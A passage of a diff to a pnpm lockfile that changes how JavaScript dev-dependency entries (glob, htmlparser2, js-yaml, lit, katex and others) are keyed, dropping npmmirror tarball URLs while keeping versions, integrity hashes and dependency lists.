sha512-xFuJpne9oFz5qDaodwmmG08e3CawH/2ZV8Qqza1Ko7Sk8POWbkRdwIoAWVhqvq0XeUzANEhKo2n0IXUGBm7A/w==} + engines: {node: '>=0.10.0'} dependencies: - function-bind: registry.npmmirror.com/function-bind/1.1.1 - has: registry.npmmirror.com/has/1.0.3 - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 + text-extensions: 1.9.0 dev: true - registry.npmmirror.com/get-own-enumerable-property-symbols/3.0.2: - resolution: {integrity: sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz} - name: get-own-enumerable-property-symbols - version: 3.0.2 + /is-unicode-supported@1.3.0: + resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/get-stream/6.0.1: - resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz} - name: get-stream - version: 6.0.1 - engines: {node: '>=10'} + /is-utf8@0.2.1: + resolution: {integrity: sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==} dev: true - registry.npmmirror.com/get-symbol-description/1.0.0: - resolution: {integrity: sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/get-symbol-description/-/get-symbol-description-1.0.0.tgz} - name: get-symbol-description - version: 1.0.0 - engines: {node: '>= 0.4'} + /is-weakref@1.0.2: + resolution: {integrity: sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 + call-bind: 1.0.2 dev: true - registry.npmmirror.com/giscus/1.2.3: - resolution: {integrity: sha512-1sYu6B3cUzPVZHH93f1DX5PJHf5ak2bPp8N1xZrAPxqccN7C/R6r93usllmCVESJ8cvnyYUaNVyXzOYz9B6OxQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/giscus/-/giscus-1.2.3.tgz} - name: giscus - version: 1.2.3 - dependencies: - lit: registry.npmmirror.com/lit/2.4.1 + /is-windows@1.0.2: + resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/glob-parent/5.1.2: - resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz} - name: glob-parent - version: 5.1.2 - engines: {node: '>= 6'} - dependencies: - is-glob: registry.npmmirror.com/is-glob/4.0.3 + /isexe@2.0.0: + resolution: {integrity: sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=} dev: true - registry.npmmirror.com/glob/7.2.0: - resolution: {integrity: sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/glob/-/glob-7.2.0.tgz} - name: glob - version: 7.2.0 + /jake@10.8.5: + resolution: {integrity: sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==} + engines: {node: '>=10'} + hasBin: true dependencies: - fs.realpath: registry.npmmirror.com/fs.realpath/1.0.0 - inflight: registry.npmmirror.com/inflight/1.0.6 - inherits: registry.npmmirror.com/inherits/2.0.4 - minimatch: registry.npmmirror.com/minimatch/3.1.2 - once: registry.npmmirror.com/once/1.4.0 - path-is-absolute: registry.npmmirror.com/path-is-absolute/1.0.1 - dev: true - - registry.npmmirror.com/globals/11.12.0: - resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/globals/-/globals-11.12.0.tgz} - name: globals - version: 11.12.0 - engines: {node: '>=4'} + async: 3.2.3 + chalk: 4.1.2 + filelist: 1.0.3 + minimatch: 3.1.2 dev: true - registry.npmmirror.com/globby/13.1.2: - resolution: {integrity: sha512-LKSDZXToac40u8Q1PQtZihbNdTYSNMuWe+K5l+oa6KgDzSvVrHXlJy40hUP522RjAIoNLJYBJi7ow+rbFpIhHQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/globby/-/globby-13.1.2.tgz} - name: globby - version: 13.1.2 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + /jest-worker@26.6.2: + resolution: {integrity: sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==} + engines: {node: '>= 10.13.0'} dependencies: - dir-glob: registry.npmmirror.com/dir-glob/3.0.1 - fast-glob: registry.npmmirror.com/fast-glob/3.2.11 - ignore: registry.npmmirror.com/ignore/5.2.0 - merge2: registry.npmmirror.com/merge2/1.4.1 - slash: registry.npmmirror.com/slash/4.0.0 + '@types/node': 17.0.32 + merge-stream: 2.0.0 + supports-color: 7.2.0 dev: true - registry.npmmirror.com/graceful-fs/4.2.10: - resolution: {integrity: sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.10.tgz} - name: graceful-fs - version: 4.2.10 + /js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} dev: true - registry.npmmirror.com/graphlib/2.1.8: - resolution: {integrity: sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/graphlib/-/graphlib-2.1.8.tgz} - name: graphlib - version: 2.1.8 + /js-yaml@3.14.1: + resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==} + hasBin: true dependencies: - lodash: registry.npmmirror.com/lodash/4.17.21 + argparse: 1.0.10 + esprima: 4.0.1 dev: true - registry.npmmirror.com/gray-matter/4.0.3: - resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/gray-matter/-/gray-matter-4.0.3.tgz} - name: gray-matter - version: 4.0.3 - engines: {node: '>=6.0'} + /js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true dependencies: - js-yaml: registry.npmmirror.com/js-yaml/3.14.1 - kind-of: registry.npmmirror.com/kind-of/6.0.3 - section-matter: registry.npmmirror.com/section-matter/1.0.0 - strip-bom-string: registry.npmmirror.com/strip-bom-string/1.0.0 + argparse: 2.0.1 dev: true - registry.npmmirror.com/has-bigints/1.0.2: - resolution: {integrity: sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-bigints/-/has-bigints-1.0.2.tgz} - name: has-bigints - version: 1.0.2 + /jsesc@0.5.0: + resolution: {integrity: sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==} + hasBin: true dev: true - registry.npmmirror.com/has-flag/3.0.0: - resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz} - name: has-flag - version: 3.0.0 + /jsesc@2.5.2: + resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==} engines: {node: '>=4'} + hasBin: true dev: true - registry.npmmirror.com/has-flag/4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz} - name: has-flag - version: 4.0.0 - engines: {node: '>=8'} + /json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} dev: true - registry.npmmirror.com/has-property-descriptors/1.0.0: - resolution: {integrity: sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz} - name: has-property-descriptors - version: 1.0.0 - dependencies: - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 + /json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} dev: true - registry.npmmirror.com/has-symbols/1.0.3: - resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz} - name: has-symbols - version: 1.0.3 - engines: {node: '>= 0.4'} + /json-schema@0.4.0: + resolution: {integrity: sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==} dev: true - registry.npmmirror.com/has-tostringtag/1.0.0: - resolution: {integrity: sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz} - name: has-tostringtag - version: 1.0.0 - engines: {node: '>= 0.4'} - dependencies: - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 + /json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true dev: true - registry.npmmirror.com/has/1.0.3: - resolution: {integrity: sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/has/-/has-1.0.3.tgz} - name: has - version: 1.0.3 - engines: {node: '>= 0.4.0'} - dependencies: - function-bind: registry.npmmirror.com/function-bind/1.1.1 + /jsonfile@4.0.0: + resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==} + optionalDependencies: + graceful-fs: 4.2.10 dev: true - registry.npmmirror.com/hash-sum/2.0.0: - resolution: {integrity: sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/hash-sum/-/hash-sum-2.0.0.tgz} - name: hash-sum - version: 2.0.0 + /jsonfile@6.1.0: + resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==} + dependencies: + universalify: 2.0.0 + optionalDependencies: + graceful-fs: 4.2.10 dev: true - registry.npmmirror.com/heap/0.2.7: - resolution: {integrity: sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/heap/-/heap-0.2.7.tgz} - name: heap - version: 0.2.7 + /jsonparse@1.3.1: + resolution: {integrity: sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==} + engines: {'0': node >= 0.2.0} dev: true - registry.npmmirror.com/htmlparser2/5.0.1: - resolution: {integrity: sha512-vKZZra6CSe9qsJzh0BjBGXo8dvzNsq/oGvsjfRdOrrryfeD9UOBEEQdeoqCRmKZchF5h2zOBMQ6YuQ0uRUmdbQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/htmlparser2/-/htmlparser2-5.0.1.tgz} - name: htmlparser2 - version: 5.0.1 - dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/3.3.0 - domutils: registry.npmmirror.com/domutils/2.8.0 - entities: registry.npmmirror.com/entities/2.2.0 + /jsonpointer@5.0.0: + resolution: {integrity: sha512-PNYZIdMjVIvVgDSYKTT63Y+KZ6IZvGRNNWcxwD+GNnUz1MKPfv30J8ueCjdwcN0nDx2SlshgyB7Oy0epAzVRRg==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/htmlparser2/6.1.0: - resolution: {integrity: sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/htmlparser2/-/htmlparser2-6.1.0.tgz} - name: htmlparser2 - version: 6.1.0 + /katex@0.16.8: + resolution: {integrity: sha512-ftuDnJbcbOckGY11OO+zg3OofESlbR5DRl2cmN8HeWeeFIV7wTXvAOx8kEjZjobhA+9wh2fbKeO6cdcA9Mnovg==} + hasBin: true dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/4.3.1 - domutils: registry.npmmirror.com/domutils/2.8.0 - entities: registry.npmmirror.com/entities/2.2.0 + commander: 8.3.0 dev: true - registry.npmmirror.com/htmlparser2/8.0.1: - resolution: {integrity: sha512-4lVbmc1diZC7GUJQtRQ5yBAeUCL1exyMwmForWkRLnwyzWBFxN633SALPMGYaWZvKe9j1pRZJpauvmxENSp/EA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/htmlparser2/-/htmlparser2-8.0.1.tgz} - name: htmlparser2 - version: 8.0.1 - dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 - domutils: registry.npmmirror.com/domutils/3.0.1 - entities: registry.npmmirror.com/entities/4.4.0 + /khroma@2.0.0: + resolution: {integrity: sha512-2J8rDNlQWbtiNYThZRvmMv5yt44ZakX+Tz5ZIp/mN1pt4snn+m030Va5Z4v8xA0cQFDXBwO/8i42xL4QPsVk3g==} dev: true - registry.npmmirror.com/human-signals/2.1.0: - resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/human-signals/-/human-signals-2.1.0.tgz} - name: human-signals - version: 2.1.0 - engines: {node: '>=10.17.0'} + /kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/human-signals/3.0.1: - resolution: {integrity: sha512-rQLskxnM/5OCldHo+wNXbpVgDn5A17CUoKX+7Sokwaknlq7CdSnphy0W39GU8dw59XiCXmFXDg4fRuckQRKewQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/human-signals/-/human-signals-3.0.1.tgz} - name: human-signals - version: 3.0.1 - engines: {node: '>=12.20.0'} + /kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/iconv-lite/0.4.24: - resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.4.24.tgz} - name: iconv-lite - version: 0.4.24 - engines: {node: '>=0.10.0'} - dependencies: - safer-buffer: registry.npmmirror.com/safer-buffer/2.1.2 + /layout-base@1.0.2: + resolution: {integrity: sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==} dev: true - registry.npmmirror.com/iconv-lite/0.6.3: - resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.6.3.tgz} - name: iconv-lite - version: 0.6.3 - engines: {node: '>=0.10.0'} - dependencies: - safer-buffer: registry.npmmirror.com/safer-buffer/2.1.2 + /layout-base@2.0.1: + resolution: {integrity: sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==} dev: true - registry.npmmirror.com/idb/7.1.1: - resolution: {integrity: sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/idb/-/idb-7.1.1.tgz} - name: idb - version: 7.1.1 + /leven@3.1.0: + resolution: {integrity: sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/ieee754/1.2.1: - resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz} - name: ieee754 - version: 1.2.1 + /lie@3.1.1: + resolution: {integrity: sha512-RiNhHysUjhrDQntfYSfY4MU24coXXdEOgw9WGcKHNeEwffDYbF//u87M1EWaMGzuFoSbqW0C9C6lEEhDOAswfw==} + dependencies: + immediate: 3.0.6 dev: true - registry.npmmirror.com/ignore/5.2.0: - resolution: {integrity: sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ignore/-/ignore-5.2.0.tgz} - name: ignore - version: 5.2.0 - engines: {node: '>= 4'} + /lilconfig@2.0.6: + resolution: {integrity: sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==} + engines: {node: '>=10'} dev: true - registry.npmmirror.com/immutable/4.0.0: - resolution: {integrity: sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/immutable/-/immutable-4.0.0.tgz} - name: immutable - version: 4.0.0 + /lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} dev: true - registry.npmmirror.com/inflight/1.0.6: - resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz} - name: inflight - version: 1.0.6 + /linkify-it@4.0.1: + resolution: {integrity: sha512-C7bfi1UZmoj8+PQx22XyeXCuBlokoyWQL5pWSP+EI6nzRylyThouddufc2c1NDIcP9k5agmN9fLpA7VNJfIiqw==} dependencies: - once: registry.npmmirror.com/once/1.4.0 - wrappy: registry.npmmirror.com/wrappy/1.0.2 + uc.micro: 1.0.6 dev: true - registry.npmmirror.com/inherits/2.0.4: - resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz} - name: inherits - version: 2.0.4 + /lit-element@3.3.2: + resolution: {integrity: sha512-xXAeVWKGr4/njq0rGC9dethMnYCq5hpKYrgQZYTzawt9YQhMiXfD+T1RgrdY3NamOxwq2aXlb0vOI6e29CKgVQ==} + dependencies: + '@lit-labs/ssr-dom-shim': 1.1.1 + '@lit/reactive-element': 1.6.2 + lit-html: 2.7.5 dev: true - registry.npmmirror.com/internal-slot/1.0.3: - resolution: {integrity: sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/internal-slot/-/internal-slot-1.0.3.tgz} - name: internal-slot - version: 1.0.3 - engines: {node: '>= 0.4'} + /lit-html@2.7.5: + resolution: {integrity: sha512-YqUzpisJodwKIlbMFCtyrp58oLloKGnnPLMJ1t23cbfIJjg/H9pvLWK4XS69YeubK5HUs1UE4ys9w5dP1zg6IA==} dependencies: - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 - has: registry.npmmirror.com/has/1.0.3 - side-channel: registry.npmmirror.com/side-channel/1.0.4 + '@types/trusted-types': 2.0.2 dev: true - registry.npmmirror.com/internmap/2.0.3: - resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/internmap/-/internmap-2.0.3.tgz} - name: internmap - version: 2.0.3 - engines: {node: '>=12'} + /lit@2.7.6: + resolution: {integrity: sha512-1amFHA7t4VaaDe+vdQejSVBklwtH9svGoG6/dZi9JhxtJBBlqY5D1RV7iLUYY0trCqQc4NfhYYZilZiVHt7Hxg==} + dependencies: + '@lit/reactive-element': 1.6.2 + lit-element: 3.3.2 + lit-html: 2.7.5 dev: true - registry.npmmirror.com/is-arrayish/0.2.1: - resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.2.1.tgz} - name: is-arrayish - version: 0.2.1 + /loadjs@4.2.0: + resolution: {integrity: sha512-AgQGZisAlTPbTEzrHPb6q+NYBMD+DP9uvGSIjSUM5uG+0jG15cb8axWpxuOIqrmQjn6scaaH8JwloiP27b2KXA==} dev: true - registry.npmmirror.com/is-bigint/1.0.4: - resolution: {integrity: sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-bigint/-/is-bigint-1.0.4.tgz} - name: is-bigint - version: 1.0.4 + /localforage@1.10.0: + resolution: {integrity: sha512-14/H1aX7hzBBmmh7sGPd+AOMkkIrHM3Z1PAyGgZigA1H1p5O5ANnMyWzvpAETtG68/dC4pC0ncy3+PPGzXZHPg==} dependencies: - has-bigints: registry.npmmirror.com/has-bigints/1.0.2 + lie: 3.1.1 dev: true - registry.npmmirror.com/is-binary-path/2.1.0: - resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz} - name: is-binary-path - version: 2.1.0 + /locate-path@5.0.0: + resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} engines: {node: '>=8'} dependencies: - binary-extensions: registry.npmmirror.com/binary-extensions/2.2.0 + p-locate: 4.1.0 dev: true - registry.npmmirror.com/is-boolean-object/1.1.2: - resolution: {integrity: sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz} - name: is-boolean-object - version: 1.1.2 - engines: {node: '>= 0.4'} + /locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - has-tostringtag: registry.npmmirror.com/has-tostringtag/1.0.0 + p-locate: 5.0.0 dev: true - registry.npmmirror.com/is-callable/1.2.4: - resolution: {integrity: sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-callable/-/is-callable-1.2.4.tgz} - name: is-callable - version: 1.2.4 - engines: {node: '>= 0.4'} + /lodash-es@4.17.21: + resolution: {integrity: sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==} dev: true - registry.npmmirror.com/is-core-module/2.9.0: - resolution: {integrity: 